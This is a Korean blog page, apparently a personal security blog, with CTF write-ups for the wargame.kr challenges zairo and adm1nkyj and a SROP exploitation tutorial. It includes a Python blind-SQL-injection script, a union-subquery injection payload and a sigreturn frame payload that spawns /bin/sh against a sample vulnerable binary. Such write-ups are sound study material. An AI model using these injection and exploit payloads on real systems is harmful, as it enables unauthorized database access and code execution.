        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        
$count $query[$count_column];
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    
$count 0;
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user|where|=/i"$id) || substr_count($id,"(") > 0) exit("no hack");
        if(
preg_match("/information|schema|user|where|=/i"$pw) || substr_count($pw,"(") > 0) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo 
"<hr />NOW COUNT = {$count}<br />";
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        
highlight_file(__FILE__);
    }
?>


음.. 그렇다 adm1nkyj문제에서 가상테이블을 못만들도록 (를 필터링해준다.


여기서 어떻게 해야하는지 몰라서 질문글을 올렸는데 order by 와 이진탐색을 사용해서 blind sqli을 하라고 한다.


그래서 했다. ㄹㅇ 


order by는 컬럼에 대해서 정렬할 수 있도록 컬럼 인덱스(?)를 통해 가능하도록 한다.


예를 들면 order by 2 이런식이다. 이건 두번째 컬럼에 대해서 정렬하라는 말이다.


그러면 여기서 blind sqli를 어떻게 하냐는 건데 간단하다.


문자열 비교를 하면 되는 건데 order by로 정렬하면 내가 union으로 넣은 값이 먼저 작으면 먼저 나오게 되니까


zairo문제의 아이디가 나올 때의 문자열로 받아들이면 된다.


payload는 아래와 같이 짰다.



import urllib2 url = "http://wargame.kr:8080/zairo/?id=asdf&pw=%27%20or%20true%20union%20select%201,2,3,%27" query_parts = "%27,5%20order%20by%204%23" flag = "" avail = "0123456789abcdefghijklmnopqrstuvwxyz" for i in range(36): print i + 1, " Attempt" mid = len(avail) / 2 start = 0 end = len(avail) - 1 while start <= end and start >= 0 and end >= 0 and mid >= 0: req = urllib2.Request(url + flag + avail[mid] + query_parts) req.add_header("cookie", "[Cookie]") source = urllib2.urlopen(req).read() if source.find("reset flag") != -1: print flag i = 37 break if source.find("zairowkdlfhdkel") != -1: end = mid - 1 mid = (start + end) / 2 else: start = mid + 1 mid = (start + end) / 2 flag += avail[mid] avail = avail.replace(avail[mid], "") print avail print flag


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

adm1nkyj (ㄱㅇㅈ) 님이 만드신 문젠데 어휴 어려웠다 ㄹㅇ


이 문제의 소스를 보자.


<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    
mysql_select_db("adm1nkyj");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user/i"$id) || substr_count($id,"(") > 1) exit("no hack");
        if(
preg_match("/information|schema|user/i"$pw) || substr_count($pw,"(") > 1) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        
highlight_file(__FILE__);
    }
?>


보면 union 인젝션은 막혀있지 않다. 이걸 이용해서 인젝션을 해야한다고 추측을 했었다.


근데 기존의 union 인젝션은 컬럼명을 알아야지 데이터를 뽑아올 수 있었는데,


이 생각을 깨게 만들어준 문제기도 하다. 해결방법은 아래와 같다


mysql에는 서브쿼리라는 게 존재하고 from에다가 서브쿼리를 써주면 가상테이블이 생성된다.


가상테이블에서 이리저리 굴려서 alias를 해주면 아래와 같은 페이로드가 나오게 된다.


pw=' union select 1,b,3,4,5 from (select 1,2,3,4 b,5 from findflag_2 where 1=2 union select * from findflag_2)x%23


from쪽에 서브쿼리르 써주면 가상테이블의 컬럼명을 alias화 시킬 수 있으며


이 가상테이블을 alias해주고 최종적으로 union에서 뽑아준다. 이값은 플래그 값이고


패스워드는 id에다가 이리저리 굴려서 확인할 수 있으니 해보면 된다.

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
[Wargame.kr] md5 password  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


개념


ROP의 변종이며 많은 가젯의 필요없이 int 0x80가 있으면 되는 공격기법이다.


syscall 번호는 119번이며 eax(rax)로 호출된다.



설명

struct sigcontext {
        unsigned short gs, __gsh;
        unsigned short fs, __fsh;
        unsigned short es, __esh;
        unsigned short ds, __dsh;
        unsigned long edi;
        unsigned long esi;
        unsigned long ebp;
        unsigned long esp;
        unsigned long ebx;
        unsigned long edx;
        unsigned long ecx;
        unsigned long eax;
        unsigned long trapno;
        unsigned long err;
        unsigned long eip;
        unsigned short cs, __csh;
        unsigned long eflags;
        unsigned long esp_at_signal;
        unsigned short ss, __ssh;
        struct _fpstate *fpstate;
        unsigned long oldmask;
        unsigned long cr2;
};
struct sigcontext {
        unsigned long r8;
        unsigned long r9;
        unsigned long r10;
        unsigned long r11;
        unsigned long r12;
        unsigned long r13;
        unsigned long r14;
        unsigned long r15;
        unsigned long rdi;
        unsigned long rsi;
        unsigned long rbp;
        unsigned long rbx;
        unsigned long rdx;
        unsigned long rax;
        unsigned long rcx;
        unsigned long rsp;
        unsigned long rip;
        unsigned long eflags;           /* RFLAGS */
        unsigned short cs;
        unsigned short gs;
        unsigned short fs;
        unsigned short __pad0;
        unsigned long err;
        unsigned long trapno;
        unsigned long oldmask;
        unsigned long cr2;
        struct _fpstate *fpstate;       /* zero when no FPU context */
        unsigned long reserved1[8];
};

첫번째는 32bit, 두번째는 64bit 환경에서 sigcontext.h(경로는 /usr/include/x86_64-linux-gnu/asm/)다.


SigReturn를 호출하게되면 스택에 넣었던 값들이 차곡차곡 레지스터에 들어가게 된다.


아래와 같은 소스코드를 컴파일(64bit) 후에 Exploit해보자.



#include <stdio.h> char binsh[] = "/bin/sh\x00"; void gadget(){ asm("int $0x80"); } void main(){ int buf[4]; read(0, buf, 1295); }


read함수에서 1295는 헥스값으로 050f이고 이걸 리틀엔디언으로 보게 되면


0f 05 인데, 이건 64환경에서 syscall 명령이다.(pwnable.kr 문제 힌트기도 하다.)


어쨋든,..



생각을 해보자.


먼저 read함수는 입력받은 길이를 eax에 리턴해준다. syscall에서 eax를 보고 실행한다는 건 아까전에 말해서 알고 있을 것이다.


또, 가젯은 주어져있고 따로 구할 필요가 없다.


페이로드는 아래와 같이 짜면 될 것 같다.



import struct


p = lambda x : struct.pack("<Q", x)

p32 = lambda x : struct.pack("<L", x)


gadget_80 = gadget함수의 asm 주소

binsh       = binsh 문자열 주소


payload   = ""

payload += "A" * 16

payload += "B" * 8

payload += p(gadget_80)

payload += p(0) * 11

payload += p(binsh)

payload += p(0)

payload += p(0x0b)        # excve Syscall number

payload += p(0)

payload += p(gadget_80)

payload += p(0)

payload += p32(gdb에서 본 cs값)

payload += p32(gdb에서 본 gs값)

payload += p32(gdb에서 본 fs값)

payload += p32(0)


print payload


'공부' 카테고리의 다른 글

[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
gs 베이스 주소 구하기  (0) 2016.05.09
[Codegate] 주저리  (0) 2016.05.06
[pwnable.kr] 주저리  (0) 2016.02.25
블로그 이미지

KuroNeko_

KuroNeko

,